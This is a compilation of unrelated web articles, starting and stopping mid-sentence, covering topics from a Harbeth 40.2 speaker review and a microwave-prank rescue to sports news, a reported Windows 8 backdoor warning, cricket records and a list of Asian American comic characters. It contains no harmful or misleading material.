fewer still are truly remarkable. This year the ELAC Debut B6 bookshelf and Magnepan .7 panel speakers topped my list as terrific values, but the Harbeth 40.2 is the one I'll remember 10 years from now. It's that good. I favorably reviewed Harbeth's Super HL5Plus speakers earlier this year, so when the US importer Fidelis AV offered the new Harbeth 40.2 top-of-the-line speaker for review, I jumped at the chance. The 40.2 is unabashedly big, it's 29.5 x 17 x 15.3 inches (750 x 432 x 388mm), and weighs a rather substantial 83.8 pounds (38 kg). The speaker has twin bass ports on its front baffle, and all-metal cable binding posts on its backside. It's big for a reason, there's no way a smaller speaker could present music's unrestrained dynamics, scale and power that come so easily from the 40.2. That's why I couldn't resist playing the 40.2s louder than usual, they sounded better and better the louder I played them. Jim Holden When I chatted with Harbeth's owner and designer Alan Shaw, he told me his biggest export market is Japan. I was taken aback by that factoid, Japanese homes are usually rather small, but those guys love the big Harbeth speakers. Japanese audiophiles are also among the world's most demanding of build and sound quality, and the fact that Harbeth does so well there says a lot about the company. The 40.2 speakers sell for $14,990 per pair in Cherry in the US, $15,990 for Rosewood, Eucalyptus and Tiger Ebony 40.2s. My samples' real Rosewood finish was impeccable. UK prices start at £9,995 and AU$21,190 in Australia. Behind its removable black cloth grille the 40.2's front baffle hosts a 12-inch (300 mm) Radial woofer, 8-inch (200 mm) Radial midrange, and 1-inch (25 mm) soft dome tweeter. The woofer and midrange drivers are proprietary designs, made in Harbeth's factory in Sussex, England (the tweeter is made by SEAS in Europe). The 40.2's impedance is listed as 6-8 ohms. I used Resonant Woods 16 inch (406mm) tall floor stands with the speakers. Shaw's top priority for all of his speakers is proper reproduction of the sound of the human voice. Seems straightforward, but a lot of otherwise excellent speakers either add too much "chest" that makes voices sound deeper than they really are, or thinner than they do in real life. So when I played Rosanne Cash's "10 Song Demo" CD, the 40.2 brought new life to the sound of her voice and guitar. I've played this music on hundreds of speakers over the years, but the 40.2 was the most lifelike. Most speakers shrink, contain and limit the sound of singers, at least that's what I felt after spending time with the 40.2. I can't say the sound was perfect when I first set the speakers up, I found the 40.2s rather finicky about placement: the distance from the wall behind them, from me and from each other. I spent weeks moving them to and fro, before I found the best spots in my room. I put tape marks on the floor to mark each position, before I settled on their final resting places. I used my Pass XP-20 preamp, Pass XA100.5 power amp, dCS Puccini CD player, and VPI Classic turntable for most of my listening tests. I also substituted a VPI 299D tube integrated amp (review in the works) for the Pass amps a few times, and felt the 40.2 speakers also worked quite well with tube electronics. Listening to Miles Davis playing trumpet, I'm noticing more of the way he plays his horn, his breath, his dynamics and the way he holds onto some notes. With the 40.2 speakers, I'm hearing a lot deeper into Davis' music. There was more soul-stirring life to the sound of his music, that's what really grabbed me. With "Punk 45: Extermination Nights In the Sixth City," a collection of Cleveland-based punk tunes from the mid-1970s to mid-1980s, amply demonstrated the 40.2s' stamina when cranked nice and loud. The onslaught of raucous guitars, gutsy bass and impassioned vocals plastered a big, fat smile on my face. Picasa Late in the review process I hooked up the VPI 299D tube integrated amp to the 40.2 speakers. The sound from this 38 watt per channel amp was even more vivid and sensually developed than the solid-state amps. The sound really moved something in me, I was enjoying the sound so much it was hard to stop listening. Familiar recordings all sounded better than I thought they were. Summing up: The Harbeth 40.2's effortless treble clarity, full-bodied midrange, as well as its robust, visceral and finely tuned bass are all magnificent. The 40.2 speakers are expensive, but the best stuff always is. I won't soon forget the 40.2 speakers' sound, but I've felt that way about all of the other, less expensive Harbeths I've tested, including the terrific little P3ESR. -November is National Blog Posting Month, so we're celebrating with some of our favorite blogs for the bibliophile. In fact, we've rounded up enough blogs that you could read a different one every day of the month. Get your bookmarks ready. You won't want to miss a single post. Literary Hub For literary event reports, a daily literary newsletter, and exciting book excerpts The Guardian Books Blog For the best of book takes of the UK and beyond Largehearted Boy For the musically-inclined reader Vol. 1 Brooklyn For the reader who wants an online literary borough Electric Literature For electrifying book lists, op-eds, and more The Offing For those who like their reading that "challenges, experiments, provokes" The Rumpus For comics, advice, interviews, and pilgrimages to the origin of Dear Sugar I Love Typography For the font afficionado The Scofield For "dialogue, for nuance, for ambiguity, for negative capability" Paris Review Daily For your daily dose of cultural observation Jacket Copy For book world news, opinions, and more Triple Canopy For triple the thought-provoking Poets & Writers Theater For the reader who wants more videos with their books LRB Blog For the reader who can't wait two weeks for the next copy of the London Review of Books Flavorwire Books For biblio-news and biblio-lists Bookforum.com For reviews, "syllabi" of great reads, and more Page-Turner For the New Yorker who can't get enough books The Millions For essays, reviews, and thoughts on fiction The Margins For exploring Asian-American lit The Review Review For reviews of literary journals Lapham's Quarterly Roundtable For tiding you over between the quarters Buzzfeed Books For laugh-out-loud lit GIFs and more Catapult For everything from how-tos to community fiction "How to Tell You're If You're in a Novel" For bookish laughs Grammar Girl For the punctuation perfectionist Lambda Literary Blog For literary Pride Book Cover Archive For the reader who knows it's what inside that counts but that a pretty exterior never hurt NYPL Blog For the Library Lion in all of us And a few for younger readers: Read, Breathe, Relax For YA book reviews and recommendations Recovering Potter Addict For all things Harry Good Comics for Kids For the kid who likes images with her words Do you have a favorite bookish, brainy, beautiful blog for readers? Share it with us in the comments section below. -WHAT on earth is happen-PING here? Firefighters had to rescue a bungling Black Country prankster after he 'cemented' his head in ... a MICROWAVE. The YouTube joker decided to make a mould of his head using Polyfilla – but his plans went disastrously wrong. Because, when the mixture set faster than they expected, he was trapped in the oven. His friends tried for 90 minutes to free the Wolverhampton man, but in vain. They kept him from suffocating by feeding an air tube into the 22-year-old’s mouth. Then, fearing the worst, they finally raised the alarm, and called for an ambulance. Paramedics alerted the fire service, and a crew spent an hour trying to free the trickster. Firefighters found him with the microwave still firmly stuck on his head, in the garage of a house in Fordhouses. But it proved a mission impossible. In the end, they had to call colleagues from Technical Rescue for specialist advice. The five-man crew then had to use a screwdriver to dislodge the Pollyfilla close to his head, eventually freeing him. Watch Commander Shaun Dakin, who responded to the incident, said: “As funny as this sounds, this young man could quite easily have suffocated or have been seriously injured. “He and a group of friends had mixed seven bags of Polyfilla which they then poured around his head, which was protected by a plastic bag inside the microwave. “The oven was being used as a mould, and wasn’t plugged in, but the mixture quickly set hard. “By the time we were called, they’d already been trying to free him for an hour and a half.” Watch Commander Dakin added: “Taking the microwave apart was tricky, because a lot of it was welded. We video-called our Technical Rescue colleagues for advice and eventually managed to get him unstuck. You are viewing an Accelerated Mobile Page. This embedded content is not currently supported. See it here “He was very relieved when we removed a large chunk of the Polyfilla with a screwdriver, allowing him to breathe more easily. But we had to be extremely careful with the screwdriver, working so closely to his head. “It took us nearly an hour to free him. All of the group involved were very apologetic, but this was clearly a call-out which might have prevented us from helping someone else in genuine, accidental need.” -An internal document issued by IT experts working for the German federal government warned national agencies and companies not to use Windows 8. The reason? An alleged backdoor exploit has been discovered, and the details were obtained and published by German site Zeit Online. The leaked message suggests that the NSA likely has access to a hidden feature which apparently can’t be shut off and allows Microsoft to remotely control any computer running the software. The Windows 8 feature under scrutiny by the German government is called Trusted Computing, a backdoor setting established ten years ago by a number of American tech giants including Microsoft, HP and IBM. Trusted Computing is supposed to protect computers from being manipulated by malicious third parties using viruses or other methods. The chip used to install Trusted Computing on Windows 8 computers allegedly offers Microsoft backdoor access, though the implication appears to be that the American company will extend that power to the U.S. government as well. A second leaked report also notes that Windows 7 can “be safely operated until 2020,” implying that the German government may revert to the now-outdated operating system until the current security holes are plugged. However, in response to Zeit Online’s report, the Reichstag issued a statement partially denying claims it would downgrade its software. -Miami Dolphins center Mike Pouncey was seen on crutches at the funeral of former college teammate Aaron Hernandez on Monday. According to an NFL source, Pouncey had a stem cell procedure within the past few weeks, but he is not expected to be on crutches for much longer. Pouncey continues to rehabilitate a hip injury but and another league source indicated there has not been a setback and his recovery is on track. At the NFL owner’s meetings, coach Adam Gase made it clear there is a plan in place for Pouncey which may include “bubble wrap.” Pouncey will be protected as needed — meaning preseason practice and even preseason games are not likely a priority — with the only goal to ensure he is eligible to play 16-plus games in 2017. Mike Pouncey on crutches at Hernandez funeral… 😩 pic.twitter.com/prkyc53Wn8 — Brad Timmons (@PhinsUpMT) April 24, 2017 Gase called Pouncey the team’s best offensive lineman, but the former Florida standout played only five games last season. Still, Gase suggested he believes Pouncey will return to dominant form. “I’m going to have a lot of confidence, because of who it is,” Gase said. “I’m not going to just turn my back on I think the best center in football. I’ll roll the dice with him for as long as I can because that’s how good he is. That’s how much he means to our organization.” Due to injuries, including hip surgeries, Pouncey also missed two games in 2013, four games in 2014 and two games in 2015. The Dolphins shut Pouncey down at the end of the last season, when he wanted to play, with a look ahead to this season and more. Veteran guard Ted Larsen is also capable of playing center. Kraig Urbik and Anthony Steen have also played center for Miami. The Dolphins seem likely to consider drafting a player who can play guard and/or center in the first three rounds of the NFL Draft this Thursday or Friday night. Why Miami Dolphins lineman Jermon Bushrod wants 11th season NFL Draft 2017: Miami Dolphins QB Brandon Doughty endorses OL Forrest Lamp 2017 NFL Mock Draft: Palm Beach Post’s Joe Schad | Version 2.0 NFL Draft 2017: Reshad Jones hopes Miami Dolphins go defense ‘Trader’ Mike Tannenbaum open to Miami Dolphins draft-day trades How many players are on the Miami Dolphins ‘Big Board’? What Adam Gase told Miami Dolphins in first 2017 meeting -Remy has dropped diss tracks "ShETHER" and "Another One," which were aimed at the Barb. Now, she finally decided to speak her piece about the feud. The fact that Remy dressed like she was going to a funeral was also hilarious! During the interview, Remy didn't hold back when she was talking about why she ethered Nicki not once, but twice. She admitted that she didn't care about the subliminal shots Nicki took of her on songs. It was actually the "behind the scenes things that you people will never know about." Remy said: "As far as trying to keep me off of red carpets, trying to make sure awards don't go to me or she's not going to be in attendance, trying to get people to make bad reports about my album sales-- just anything that I'm doing to make me look less and make her look better." That's when the BX MC said, straight up, "When you're trying to stop my bag, when you're trying to stop me from taking care of my children, I have a problem with that." -Andrew Newbold has today stepped down as president of the Hawthorn Football Club. ANDREW Newbold today announced he has stepped down from his position as president of the Hawthorn Football Club, with his resignation effective from today. Current Vice-President Richard Garvey will replace Newbold as acting president until a formal election is held at the Annual General meeting in December 2016. Newbold, a lifelong Hawthorn supporter, has served on the Board since 2003 and was elected as president in 2011. Key club achievements overseen by Newbold include: Taking the club to four consecutive grand final appearances since 2012 including three premierships Overseen four years of collective club profit (total $11m +) Developed the club into a major AFL business that has revenue in excess of $70m Been instrumental in the development of the club’s 2013 – 2017 ‘All for One’ strategic plan and a long-term facilities strategy to future proof the club A key player in negotiating the club's move to Waverley Park (as a Board member) Hawthorn CEO Stuart Fox said Newbold has been a key factor in the continued growth and success of the club over his 13 years as a president and director. “Andrew has played a significant role in the stability and growth of the Hawthorn Football Club since joining the Board in 2003,” Fox said. “Through his passion, dedication and drive Andrew has provided leadership and direction across various areas of the business. He was key in negotiating the club’s move to Waverley Park, has played a vital role in the current facilities strategy and has developed Hawthorn into a major AFL business over his tenure.” “Not only does Andrew leave Hawthorn in a strong position commercially but he has also overseen a historic period in the club’s history, achieving four consecutive grand final appearances including three premierships as president.” Newbold said timing was important to his departure. “I started at Hawthorn as a board member when my second daughter was starting school. This year, 2016, marks her final year. It has been a rewarding 13 years for myself and my family but my motto has always been to leave two days earlier rather than a day late and now is the time,” Newbold said. “Throughout my tenure the club has been transformed into a powerful organisation, both on and off the field, and I always wanted to be able to step down when I was still enjoying the role. More importantly I wanted to leave at a time when my successor had a great opportunity to create their own vision. “On the back of multiple premierships and with the club in good shape, now feels like the right time to hand over the reins. “The club is also on the verge of a possible shift to a new home in Dingley. This is a five to ten-year project and possibly the biggest decision the club will make in its history. I feel my decision to step aside will allow my successor to own and live this next chapter. “The Board, club and I have always made well thought out counter intuitive decisions and I see this as another of those. “I am proud of the many achievements the Hawthorn Football Club has made under my leadership and I would like to sincerely thank the Board, all of the administration staff for their dedication and hard work, the football department and players for their drive and determination and the loyal Hawks members for whom the club exists. “I look forward to the continued evolution of the club under the direction of Richard Garvey and wish him all the best in his endeavours.” Acting President Richard Garvey said he is honoured and ready to lead the Hawthorn Football Club. “I feel privileged to have the support and backing of the board in taking on the acting presidency position,” Garvey said. “Andrew has done an outstanding job over a long period of time, as a director and president, and I hope to be able to build on the legacy he has created by continuing to develop the Hawthorn Football Club as a strong AFL business.” The club, as part of its governance process, had committed to a succession plan given Newbold was in his final term. A sub-committee of three directors and two independents undertook a thorough process to identify potential president candidates. The search concluded that Garvey was the strongest candidate and he has the unanimous support of the Hawthorn Board. Garvey first became associated with the club in 1997 as the lead auditing partner from KPMG. He retained this role until his retirement from the firm in early 2008 and was appointed a director of the club in October 2010 and vice-president in 2015. He has been an integral member of the clubs Training and Administration Facility Committee, was chairman of the club’s Finance and Risk Management Committee and chairman of the club’s joint venture in Caroline Springs where he has overseen sustained business growth and strong financial results. Outside of Hawthorn, Garvey is a consultant, financial adviser and a member of several advisory boards. He was a Board member of the Australian Institute of Management - Victoria and Tasmania for 11 years until December 2011 including four years as president and a national Board member. -I have a friend named Whitney (name changed) who was once a cube-dweller. And I do not mean she lived in a modern ergonomic-style home. On the contrary, her house was beautiful and vibrant. But each day she left the comfort of her home and drove to her miserable, gray cubicle at work. Cube-land was her reality, and many of you have been there too. Who thought working in spaces with no windows was a good idea? Just add a few thousand portable, plastic walls, some bad fluorescent lighting, and you have an accurate picture of life for many cube-dwellers. First invented in 1968, cubicles are a standard feature in offices everywhere. They were designed as an alternative to the wide-open office and meant to offer employees some semblance of privacy. They also give employers an easy, inexpensive way to maximize limited office space. But cubicles can be a raw deal for cube-dwellers, like my friend Whitney. They must contend with loud talkers and other inescapable distractions, as well as co-workers who barge in unexpectedly. And you know what happens when one person gets sick. Not to mention the average person spends almost an hour each day driving to and from their cube. That translates into plenty of frustration and lost productivity. Like many of you, I served time in a cubicle, but I discovered it did not have to be that way. After my last company was acquired by Citrix, I had the opportunity to lead product and strategy for a significant product line while working remotely. That experience opened my eyes to the possibilities outside of a cubicle. I found that with a responsive team, we could accomplish so much more working remotely than if we were holed up in an office somewhere. When my co-founder and I started Aha! we wanted to give employees this same freedom. The freedom to work from anywhere in the U.S. and be happy. Remote work is not a fad; it is now a way of life for an estimated 3.2 million employees in the U.S. alone. Here is why so many employees are finding out that remote work beats out cubicle life any day: Productivity Work in an office is commonly measured by the number of hours an employee is at their desk. When you work remotely, you do not have the ability (or any reason) to fake productivity. There is no point in looking busy when you are the only one in the room. Remote employees are measured by what they accomplish each day, not how busy they look. Accountability There is no hand-holding for remote employees. When you work from home, your team is trusting you to meet your goals without much added help. That might sound intimidating. But the most productive employees thrive on autonomy, and remote work often inspires high performers to work even harder. Happiness Remote work is a great option for anyone who has a family or simply wishes to get the most out of life. Many of our team members have children. Others want to travel and work from different places in the country. They are able to accomplish their work and be more available for what is most important to their lives. Freedom Once geography is no longer an issue, new team members can be found anywhere. That means you do not have to settle for a job based on proximity, and companies do not have to settle for an employee who lives close to the office. You are free to go for that dream job — even if the headquarters is a thousand miles away. Harmony Do not assume that having your own cubicle is the same as having your own space. When you work remotely, you have total control over your workspace — no more gray walls inside or spending ten minutes to find a parking spot outside. Having a say over your work environment helps you achieve a sense of peace that empowers you to achieve top performance. Unity You may be working from the kitchen table, but you are not alone in the work you are accomplishing. Remote work requires all team members to be on the same page. To do that, you must narrow your focus, eliminate distractions, and be intentional about the work you are doing. The result is that you work with a sense of a shared purpose with your team. This is not to say that everyone immediately adjusts to working remotely. It takes a sense of adventure, patience with technology, and resourcefulness to succeed in an environment of your own making. But being CEO of a great distributed company has proven to me that it is possible to pursue your goals and realize sustainable happiness at the same time. I see remote work as a real gift for every employee. If you are looking to make some real lasting life changes, I encourage you to consider what work might look like outside the cubicle walls. How has remote work changed the way you work? -SAN DIEGO -- The Padres figure if they're going to plop a basketball court onto the field at Petco Park, they better have Bill Walton involved somehow. The Padres and the Hall of Famer on Tuesday announced the Bill Walton Basketball Festival beginning Nov. 30 and culminating with a game between San Diego and San Diego State on Dec. 5. The court will be set up between third base and home plate. The festival will consist of youth clinics led by Walton, charity games, community league games and high school games, plus whatever else Walton might think up. "Anything that's basketball in this community that's big-time, should bear Bill Walton's name," Padres president Mike Dee said. "He's the best. He's a community treasure." Walton, an ESPN college basketball analyst, said it will be "an absolutely thrilling week. And I am proud, privileged, honored and humbled to be a volunteer for this incredible situation where people are going to come together in our city and play basketball in Petco Park." The game Dec. 5 will be the first time the major league park has hosted hoops. The preceding week will be "basketball 24-7," Dee said at a news conference. Said Walton: "We're going to make it fun. That's the goal of sports." Walton was born in San Diego and said his family lived downtown for a while before moving to suburban La Mesa. "I've done things on this site before Petco Park was here," said Walton, who was wearing a "Walton 32" Padres jersey. "I love San Diego, I love Petco Park, I love the Padres and I love basketball." Walton starred at La Mesa's Helix High before playing for John Wooden at UCLA. Walton helped the Bruins win two NCAA titles, and then won NBA championships with Portland in 1977 and Boston in 1986. He even played with his hometown Clippers, who moved to Los Angeles in 1984. The Padres are expanding the use of Petco Park, including hosting concerts by Paul McCartney, the Rolling Stones and Taylor Swift in the last year, and a first-round Davis Cup match between Britain and the United States in early 2014. "They've done their job. The rest is up to me," Walton said. Walton even suggested matchups for a Petco Park hoops double-header in 2017: San Diego State against Arizona and USD against Gonzaga. All four of Walton's sons played college basketball, including Luke at Arizona and Chris at SDSU. The full schedule of the Bill Walton Basketball Festival will be announced later. There no doubt will be additions. "Mike, what are we looking at for a postgame concert and party celebration?" Walton asked. "We're counting on you and your many friends in the music industry and we're ready to go," Dee replied to Walton, believed to be the world's tallest Deadhead. "Only if I can sing and play the drums," Walton said. Asked about the threat of rain, Walton replied: "It'll be fine. That's a promise. It'll be fine." The public sale of tickets for the USD-SDSU game begins Wednesday morning. Information from The Associated Press was used in this report. -November 6, 2013 By Mark Jaquith Amazon Verified Purchase 9392 out of 9650 found this helpful I gingerly climbed on top of the plastic contraption now ringing my porcelain throne. It soon became apparent that I couldn't keep my britches at my ankles as I normally did. No, they had to go entirely, along with my underthings. And if there is anything more ridiculous on this planet than the sight of a human man wearing a t-shirt and nothing else, I have yet to experience it. So in the interest of saving myself this unfortunate view, I doffed the shirt as well. Now entirely naked, I again attempted to step onto the device. I was unsure, but it seemed to hold. I settled down to the seat, with only the extremities of my posterior touching. My knees were up at my chest. This, plus my complete nakedness, felt very primal. It felt third-world and adventurous. It felt... RIGHT. I concentrated on the task at hand. I had felt a slight urge to go, and had been eager to try out the new purchase. I had been intrigued by the promise that my business would henceforth require substantially less effort on my part, because of the wild beast–man position it forced upon me. But I was still skeptical. It sounded too good to be true. Surely the difference couldn't be that dras— HOLY HELL I'M POOPING. Well, let me clarify. It wasn’t so much that I was dropping a deuce. Oh, it was being dropped; that much was undeniable. But I couldn't really claim agency on said descent. Gravity was doing the work. I was merely the meaty husk from which it made its hasty escape. Used to more of a segmented approach to waste disposal, I was quite surprised that the creature making its egress from my nethers had more the appearance of a python. Smooth, and consistent in width, it coiled luxuriously in a pool of toilet water that is (or at least was) cleaner than the water that most of the people on this planet drink. As it continued to coil, my emotional state flowed from one of surprise, to horror, to amazement, and then again to horror as the snake coiled higher and higher, like soft serve ice cream at an all-you-can-eat Chinese buffet. It was now surfacing above the water line. But still, the snake showed no signs that it was anywhere near finished with its journey. In a panic, I pawed at the flusher. The poor toilet strained, but eventually sent things on their way. But I wasn’t done yet. As the toilet flushed the waste away, more came to replace it. As the flush subsided, the coil started anew. And then I was done. I tried to catch my breath as the toilet flushed a second time. I felt my liver shift and expand, unsure what to do with all the extra space now afforded to it. I cleaned up and stood, almost dizzy after the affair. “Wow. A+++”, I thought to myself. “Would poop again.” “Very well,” my bowels seemed to answer, “let’s have another go!” “Surely you’re joking”, I thought, scrambling to once again work myself into proper Tarzanic stance. There couldn’t possibly be anything left inside of me. I genuinely began to worry that what would come out next might be some vital organ, brought to a freedom-seeking frenzy by all the commotion. But no, it was yet another perfectly formed tube of human excrement. I sat, mouth agape, as number two (round two) breached the water line and came to a graceful finish, leaving an improbable conical shape below me. As I flushed the toilet for the third time in what had astoundingly only been about 70 seconds I wondered if life would ever be the same again. Search -As many writers have tried to point out, mainstream economists understand neither the cause of nor the solution to the financial crisis. As an article this week in the Boston Globe notes: Many [economists] frankly admit that they are not sure how to prevent things from getting worse.*** “Everyone that I know in economics, and particularly in the worlds of academic finance and academic macroeconomics, is going back to the drawing board,” said David Laibson, a Harvard economist. “There are very, very, very few economists who can be proud.” A few suggest, as well, that there are deeper problems in the discipline. U.S. economists are asking aloud whether the field has grown too specialized, too abstract and too divorced from the way real-world economies actually function. They argue that many models used to predict the dynamics of financial markets or national economies have been scrubbed clean, in the interest of theoretical elegance, of the inevitable erraticism of human behavior. As a result, the analytical tools of the trade offer little help in a crisis and have little to say about the sort of collapses that led to this one. “You can’t just say, ‘I have a model for tremors that works great – I just can’t explain earthquakes,”‘ said Kenneth Rogoff, an economist at Harvard who has studied financial crises.*** The models used by macroeconomists do a poor job of describing the messiness of an actual market in flux. (ARTICLE CONTINUES BELOW) As a result, economists end up oversimplifying such situations when they model them – or simply avoid studying them at all. “We have a very restrictive set of language and tools, and we tend to work on the problems that are easily addressed with those tools,” said Jeremy Stein, a financial economist at Harvard. “Sometimes that means we focus on silly questions and ignore greater ones.” Derivatives is a prime example of what economists totally missed. The mathematical models predicted that the entire financial system would be stabilized by derivatives. But the models did not account for anything going wrong like – oh, I don’t know – home prices going down, hedge fund asset values declining, or currency or interest rate relations substantially changing. Will Obama straighten things out? Well, as the above-quoted Boston Globe article notes: For years, leading economic figures like Lawrence Summers and Alan Greenspan argued that the United States had more or less brought the business cycle to heel. Summers is a key Obama economic advisor. And most of Obama’s advisors have profited handsomely from derivatives and other toxic investments. So they are not likely to challenge the status quo. Unfortunately, economists – no less than lawyers, scientists, and just about every other class of professionals in the U.S. – have sold their soul to the powers-that-be. -Michael Moore is taking aim at Donald Trump from a Broadway stage, bringing his solo show, “Michael Moore on Broadway: The Terms of My Surrender” to the Belasco Theater. Michael Mayer, the director behind Tony-winning productions of “Hedwig and the Angry Inch” and “Spring Awakening,” will direct the show, set to begin previews in July. Moore described “Terms of My Surrender” as a entirely new piece, separate from the live show that was the subject of his film “Michael Moore in Trumpland.” He’ll respond to the news of the day during the show, and sometime incorporate guest appearances. The goal is to destabilize Trump and his administration through satire. “We need an army of satirists,” he said. “His Achilles heel is his very, very thin skin.” The director-performer added that the production would reserve the presidential box at the Belasco for Trump at every performance. “It will sit empty until he sits there. I hope he comes to see it, or his family. Or Mike Pence. We won’t boo him!” he joked, referring to an incident last fall when Pence’s attendance at “Hamilton” elicited Bronx cheers. “It’s a 12 week limited run. I would like Trump to have the same thing,” Moore continued. “I really am in a take-no-prisoners mode right now.” Although contemporary politics is relatively common in smaller-scale Off Broadway productions, its extremely rare for large-scale stage shows to tackle sitting presidents. The closest Broadway has come in recent years is Will Ferrell’s George W. Bush comedy “You’re Welcome America. A Final Night With George W Bush,” which began previews the day his successor, Barack Obama, was inaugurated in early 2009. “The Terms of My Surrender” starts performances July 28 prior to an Aug. 10 opening. -[1] Sobers held the record for the second highest number of centuries in Test cricket at the time of his retirement. Sir Garfield Sobers (also known as Gary Sobers) is a former international cricketer who represented the West Indies cricket team between 1954 and 1974. He scored centuries (100 or more runs in an innings) on 26 occasions. Widely acknowledged as the "greatest all-rounder",[1][2][3] he was described by Australian cricketer Don Bradman as a "five-in-one cricketer".[N 1] Sobers played 93 Tests, aggregating 8,032 runs at a batting average of 57.78, and claimed 235 wickets as a bowler.[3] He held the record for most runs in a career in Test cricket until 1981.[N 2] Sobers was named one of the five Wisden Cricketers of the Year in 1964, and one of the five Wisden Cricketers of the Century in 2000.[6] He entered into the ICC Cricket Hall of Fame when the International Cricket Council (ICC) formally inducted him alongside 55 initial inductees in 2009.[7] Sobers made his Test debut against Pakistan in 1954, and scored his first century against the same team four years later. He became the youngest player to complete a triple century when he made 365 not out in that match.[8] It remained the highest individual score in Test cricket for 36 years until transcended by Brian Lara in 1994.[9] The innings is also the highest maiden century by a batsman in Tests.[10] In the fourth Test of the same series Sobers went on to score centuries in both the innings, ending the series with 824 runs at an average of 137.33.[11] He was most successful against England, scoring 10 centuries.[12] Sobers made scores of 150 or more in a Test match innings on thirteen occasions, and was dismissed five times between scores of 90 and 99.[13] As of January 2013, he is fourteenth in the all-time century-makers in Test cricket, and third in the equivalent list for the West Indies.[14] Sobers made his solitary One Day International (ODI) appearance in a match against England in September 1973;[15] he was dismissed for a duck.[15] Key [ edit ] Key Symbol Meaning * Remained not out Captained the West Indies cricket team Pos. Position in the batting order Inn. The innings of the match Test The number of the Test match played in that series H/A/N Venue was at home (West Indies), away or neutral Date Date the match was held, or the starting date of match for Test matches Lost The match was lost by West Indies. Won The match was won by West Indies. Drawn The match was drawn. Tied The match was tied. Test cricket centuries [ edit ] Notes [ edit ] -GLENDALE – Our team has been on a long break since our last game so we’re all ready for Thursday’s game against Colorado to get here. We had a rough schedule in October with so many back-to-back games and a lot of flying, so it’s been nice to be home in Arizona for a week or so. Obviously, we lost the Vancouver game last Friday, so we want to get back to business and back to our winning ways right away. I think we came out of the gate well this season. Everybody played fast and strong in the first 11 games. We’ve just got to keep that up and play even better moving forward. As for me, some people are saying I struggled the first five games or so and that’s true. But I hadn’t played an NHL game in almost 10 months so I was expecting to struggle a little bit at the beginning of the season. That comes with not playing for so long. The first couple of games weren’t easy for me and I had to find my way again. But lately I feel I’ve made some progress and I’m starting to find my confidence again. I’m excited to get back into the games. We’ve had a lot of days off recently and we’ve been able squeeze in some fun around our practices. On Monday, we all played in the Arizona Coyotes Foundation’s annual golf tournament on a beautiful sunny day. It was really enjoyable. The foundation did an outstanding job once again, and we’re always happy to support them. I played OK. The guys in my group were guys who only play golf a few times a year so I was sort of the go-to-guy and it wasn’t pretty. We made even par in a scramble, which is a little embarrassing, but we had a really good time and it was all about raising money for the foundation so nobody really cared too much about the scores. Over the weekend, I had a really good time at our team’s Halloween party. I went dressed as Ted the bear from the movie by Seth Macfarlane. It was a pretty good costume but I was really hot inside it and I didn’t realize how many people liked bears so I was giving high fives all night. In my opinion, Mike Smith and his wife had the best costumes at the party. He came dressed as Oliver Ekman-Larsson’s Tinder profile and she came dressed as mine. It was very creative and very clever. There were many other good costumes at the party and we all had a lot of fun. It’s always cool to hear about the different ideas people come up with for Halloween costumes and to see how they make some of them work. Thanks for reading. -Happy Asian Pacific American Heritage Month! Er… did you know that May is Asian Pacific American Heritage Month?Well, now you do. And I hope you have a happy one. All over cyberspace, folks are celebrating in all sorts of ways. Wall Street Journal columnist Jeff Yang (no relation) kicked things off with an article that asks if the APA community is one or many (and graphically compares it to Voltron). CAPE (Coalition of Asian Pacifics in Entertainment) launched a campaign of YouTube videos with several prominent APA entertainers talking about their career paths. I’m doing my part by sharing with you my Top Ten Favorite APA characters in comics. They aren’t listed in any specific order, but they all meet these requirements: They’re in comics, they’re of Asian or Pacific Islander descent, they’re American, and they make my heart happy. 1. Amadeus Cho. Amadeus is the brainchild of superstar writer Greg Pak, and he explodes the stereotype of the Asian American teenage super-genius by pushing it past its most ridiculous limits. Amadeus is a skinny Korean American kid who’s so smart, they call him Mastermind Excello. And he’s partnered up with the Hulk and Hercules, two of the Marvel Universe’s toughest heroes. 2. Jimmy. Jimmy’s the protagonist of Jason Shiga’s many graphic novels. He and his creator are proof you can be nerdy and badass at the same time. In Fleep, Jimmy wields his math skills like a weapon to escape a phone booth encased in concrete. In Bookhunter, Jimmy chases down overdue books, armed with not much more than a pistol and a heart full of tenacity. In Meanwhile, Jimmy eats ice cream, time travels, and fools around with the Kill-o-tron, a machine that will kill either the person standing inside of it or the rest of humanity depending on a coin flip. Like I said. Nerdy. Badass. At the same time. 3. Jubilee. Jubilation Lee seems like someone I would’ve hung out with in high school, except for the part where she shoots fireworks out of her fingertips. A So Cal native, she joined the X-Men after discovering she was a mutant. Her fashion sense is proudly stuck in the 90s and she’s spent much of her superhero career palling around with Wolverine. Quick-witted and resourceful, she would’ve been a riot in my Saturday morning Chinese language class. 4. Quick Kick. When I was a kid, GI Joe was probably the only American franchise that regularly featured Asian Americans. This was because most of the Joe comics and many of the cartoons were written by Japanese American Larry Hama. Hama’s Asian Americans are complex and three-dimensional—in other words, human. That’s not to say they weren’t goofy in that 80s cartoon sort of way. Quick Kick, a Joe of Japanese and Korean descent, is a martial arts expert. He never wears a shirt or shoes, even when the Joes and Cobra are duking it out in the snow. As Angry Asian Man blogger Phil Yu likes to point out, apparently being a super-hardcore martial arts master renders you impervious to cold. But Quick Kick is also a ladies’ man, maybe the only Asian American ladies’ man I saw as a kid. 5. Tony Chu. Man, Chinese people will eat anything. Tony Chu, the leading man of the popular series Chew, turns this stereotype on its head. Tony’s a cibopath. When he eats, he has psychic visions of his meal’s past. He sees where the tomatoes in his pasta sauce were grown, how the cow in his burger was butchered. He’s an officer of the law, so naturally he solves murder cases by eating cadavers. Writer John Layman and artist Rob Guillory turn your stomach in the most awesome way possible. 6. Nancy Kim. In Derek Kirk Kim’s masterful graphic novel Same Difference, twenty-something Korean American Nancy smokes, curses, farts, and relentlessly cracks on her best friend Simon. When letters arrive for her apartment’s previous tenant, she not only opens them but also answers them, writing in the voice of their intended recipient. She and her friends remind me of me and my friends when we were in our twenties, though we never committed mail fraud. (Honest.) 7. Batgirl. For about a decade starting in 1999, the Batgirl mantle belonged to a Eurasian teenager named Cassandra Cain. Raised by assassins, Cassandra’s a broken soul who is eventually adopted into the Bat Family, at which point (I would argue) she becomes an Asian American. Her costume borrows a little too heavily from Michelle Pfeiffer’s Catwoman, but I have a soft spot for her. Weirdest fun fact about Cassandra Cain: She’s an English-as-a-second-language learner because her first language was body language. No joke. She has yet to show up in the newly rebooted DC Universe, but I imagine she will soon. 8. Secret Asian Man. Tak Toyoshima’s been tackling Asian American issues in his popular comics strip for well over a decade now. Main character Osamu Takahashi (who is basically a cartoon version of Tak) and his friends have graced the pages of influential newspapers like the San Jose Mercury and Boston’s 